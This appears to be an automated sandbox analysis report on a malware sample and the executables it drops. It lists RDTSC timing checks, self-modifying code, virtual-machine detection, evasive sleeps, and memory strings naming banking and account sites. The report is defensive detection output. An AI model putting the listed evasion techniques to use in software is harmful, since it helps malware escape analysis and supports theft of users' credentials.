Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4880CFC second address: 4880D02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4880D3D second address: 4880D71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 movzx eax, al 0x0000000c pushad 0x0000000d call 00007F020CB267ECh 0x00000012 mov ax, EC11h 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 483060C second address: 4830611 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4830611 second address: 483068A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edi, 69807EE2h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebp 0x0000000d jmp 00007F020CB267F6h 0x00000012 mov dword ptr [esp], ebp 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F020CB267EEh 0x0000001c jmp 00007F020CB267F5h 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007F020CB267F0h 0x00000028 or cx, 8F08h 0x0000002d jmp 00007F020CB267EBh 0x00000032 popfd 0x00000033 popad 0x00000034 mov ebp, esp 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 push edx 0x0000003a pop esi 0x0000003b pushad 0x0000003c popad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 483068A second address: 4830690 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4830690 second address: 48306A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push FFFFFFFEh 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48306A0 second address: 48306A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48306A4 second address: 48306AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48306AA second address: 4830747 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, bx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 32823168h 0x0000000e jmp 00007F020CB28456h 0x00000013 add dword ptr [esp], 44BF8EB0h 0x0000001a jmp 00007F020CB28450h 0x0000001f push 66DE61B5h 0x00000024 pushad 0x00000025 mov ax, dx 0x00000028 pushfd 0x00000029 jmp 00007F020CB28453h 0x0000002e add ah, 0000006Eh 0x00000031 jmp 00007F020CB28459h 0x00000036 popfd 0x00000037 popad 0x00000038 add dword ptr [esp], 105A4C4Bh 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 pushfd 0x00000043 jmp 00007F020CB2844Ah 0x00000048 sub esi, 31EF9AE8h 0x0000004e jmp 00007F020CB2844Bh 0x00000053 popfd 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4830747 second address: 4830764 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ebx, esi 0x00000008 popad 0x00000009 mov eax, dword ptr fs:[00000000h] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F020CB267EAh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4830764 second address: 483076A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 483076A second address: 48307BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, di 0x00000006 pushfd 0x00000007 jmp 00007F020CB267F9h 0x0000000c adc esi, 6BE2F266h 0x00000012 jmp 00007F020CB267F1h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b nop 0x0000001c jmp 00007F020CB267EEh 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48307BA second address: 48307DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F020CB2844Ah 0x0000000a xor ecx, 542EDD38h 0x00000010 jmp 00007F020CB2844Bh 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48307DC second address: 48307E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48307E2 second address: 48307E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48307E6 second address: 48307FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov ch, CBh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48307FD second address: 48308A1 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push esi 0x00000008 pop ebx 0x00000009 pop ecx 0x0000000a popad 0x0000000b sub esp, 1Ch 0x0000000e pushad 0x0000000f push edx 0x00000010 pushfd 0x00000011 jmp 00007F020CB2844Ah 0x00000016 sub ax, 81F8h 0x0000001b jmp 00007F020CB2844Bh 0x00000020 popfd 0x00000021 pop ecx 0x00000022 mov cx, dx 0x00000025 popad 0x00000026 push edx 0x00000027 jmp 00007F020CB28450h 0x0000002c mov dword ptr [esp], ebx 0x0000002f jmp 00007F020CB28450h 0x00000034 xchg eax, esi 0x00000035 pushad 0x00000036 jmp 00007F020CB2844Eh 0x0000003b pushfd 0x0000003c jmp 00007F020CB28452h 0x00000041 sub ecx, 537B6DE8h 0x00000047 jmp 00007F020CB2844Bh 0x0000004c popfd 0x0000004d popad 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 call 00007F020CB28452h 0x00000057 pop eax 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48308A1 second address: 48308A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48308A6 second address: 48308F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F020CB2844Ch 0x00000008 pushfd 0x00000009 jmp 00007F020CB28452h 0x0000000e add esi, 7CC542A8h 0x00000014 jmp 00007F020CB2844Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, esi 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F020CB28455h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48308F5 second address: 483096F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b push esi 0x0000000c pushfd 0x0000000d jmp 00007F020CB267F3h 0x00000012 jmp 00007F020CB267F3h 0x00000017 popfd 0x00000018 pop esi 0x00000019 mov cx, bx 0x0000001c popad 0x0000001d push eax 0x0000001e jmp 00007F020CB267F2h 0x00000023 xchg eax, edi 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 mov ax, dx 0x0000002a call 00007F020CB267F9h 0x0000002f pop eax 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 483096F second address: 4830975 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4830975 second address: 48309DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [7743B370h] 0x0000000d jmp 00007F020CB267F4h 0x00000012 xor dword ptr [ebp-08h], eax 0x00000015 jmp 00007F020CB267F0h 0x0000001a xor eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov eax, 36529139h 0x00000024 pushfd 0x00000025 jmp 00007F020CB267F6h 0x0000002a sub ecx, 0DC15348h 0x00000030 jmp 00007F020CB267EBh 0x00000035 popfd 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4830B87 second address: 4830B8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4830B8D second address: 4830B91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48301AE second address: 4830213 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, ah 0x00000005 mov ebx, 30FA45E4h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F020CB28454h 0x00000018 xor ecx, 22867898h 0x0000001e jmp 00007F020CB2844Bh 0x00000023 popfd 0x00000024 pushfd 0x00000025 jmp 00007F020CB28458h 0x0000002a and eax, 7EAA22F8h 0x00000030 jmp 00007F020CB2844Bh 0x00000035 popfd 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4830213 second address: 4830219 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4830219 second address: 483021D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 483021D second address: 483022C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 483022C second address: 4830230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4830230 second address: 4830234 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4830234 second address: 483023A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: DA648E second address: DA64A5 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F020CB267F2h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: DA64A5 second address: DA64AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: DA64AB second address: DA64B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: DBD4DC second address: DBD4E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: DBD7F7 second address: DBD7FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: DBD7FE second address: DBD809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: DBD809 second address: DBD80D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: DC14BC second address: DC14C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: DC14C0 second address: DC14E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a jnc 00007F020CB267E9h 0x00000010 or cl, FFFFFFF5h 0x00000013 push 00000000h 0x00000015 movzx esi, si 0x00000018 call 00007F020CB267E9h 0x0000001d push eax 0x0000001e push edx 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 pop edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: DC14E7 second address: DC14FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F020CB28446h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 jg 00007F020CB28446h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: DC14FF second address: DC154A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jns 00007F020CB267EEh 0x00000014 jbe 00007F020CB267E8h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c mov eax, dword ptr [eax] 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 jmp 00007F020CB267F9h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: DC154A second address: DC1561 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F020CB28453h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: DC1683 second address: DC1687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: FAEA24 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 11E161A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: C3EA24 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: E7161A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Special instruction interceptor: First address: 825AB2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Special instruction interceptor: First address: 9C855A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Special instruction interceptor: First address: 8230C6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Special instruction interceptor: First address: 9D755D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Special instruction interceptor: First address: A51F04 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Special instruction interceptor: First address: CA8C12 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Special instruction interceptor: First address: E45550 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Special instruction interceptor: First address: E43C7A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Special instruction interceptor: First address: ED4AAC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Special instruction interceptor: First address: CCFA9F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Special instruction interceptor: First address: E779B3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Special instruction interceptor: First address: EA1D07 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Special instruction interceptor: First address: F0E8E4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Special instruction interceptor: First address: 6DBC5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Special instruction interceptor: First address: 6DCB5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Special instruction interceptor: First address: 21C466 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Special instruction interceptor: First address: 630DBC5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Special instruction interceptor: First address: 630DCB5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Special instruction interceptor: First address: 64BC466 instructions caused by: Self-modifying code
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Memory allocated: 5110000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Memory allocated: 52A0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Memory allocated: 72A0000 memory reserve | memory write watch
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_04880C3A rdtsc 0_2_04880C3A
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 180000 Jump to behavior
Found evaded block containing many API calls
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Evaded block: after key decision
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe API coverage: 9.4 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6392 Thread sleep count: 54 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6392 Thread sleep time: -108054s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4828 Thread sleep count: 47 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4828 Thread sleep time: -94047s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2328 Thread sleep count: 299 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2328 Thread sleep time: -8970000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6460 Thread sleep count: 45 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6460 Thread sleep time: -90045s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 988 Thread sleep count: 103 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 988 Thread sleep time: -206103s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4372 Thread sleep count: 107 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4372 Thread sleep time: -214107s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6516 Thread sleep count: 94 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6516 Thread sleep time: -188094s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1812 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2328 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe TID: 2056 Thread sleep time: -150000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe TID: 3220 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe TID: 6084 Thread sleep time: -30015s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe TID: 2848 Thread sleep time: -40020s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe TID: 7044 Thread sleep count: 186 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe TID: 7044 Thread sleep count: 174 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe TID: 6012 Thread sleep time: -34017s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe TID: 5700 Thread sleep time: -34017s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe TID: 6656 Thread sleep time: -210000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe TID: 6644 Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe TID: 7148 Thread sleep time: -150000s >= -30000s
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\file.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 8_2_00240868 FindFirstFileExW, 8_2_00240868
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 8_2_00240919 FindFirstFileExW,FindNextFileW,FindClose,FindClose, 8_2_00240919
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 10_2_00240868 FindFirstFileExW, 10_2_00240868
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 10_2_00240919 FindFirstFileExW,FindNextFileW,FindClose,FindClose, 10_2_00240919
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_004176E7 FindFirstFileExW, 12_2_004176E7
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_10007EA9 FindFirstFileExW, 12_2_10007EA9
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_04B5794E FindFirstFileExW, 12_2_04B5794E
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 30000 Jump to behavior
Source: skotes.exe, skotes.exe, 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmp, f30149f036.exe, f30149f036.exe, 0000000C.00000002.3458889721.00000000009A9000.00000040.00000001.01000000.0000000B.sdmp, f570600774.exe, 0000000E.00000002.3180488584.0000000000E56000.00000040.00000001.01000000.0000000D.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: secure.bankofamerica.comVMware20,11696487552|UE
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: discord.comVMware20,11696487552f
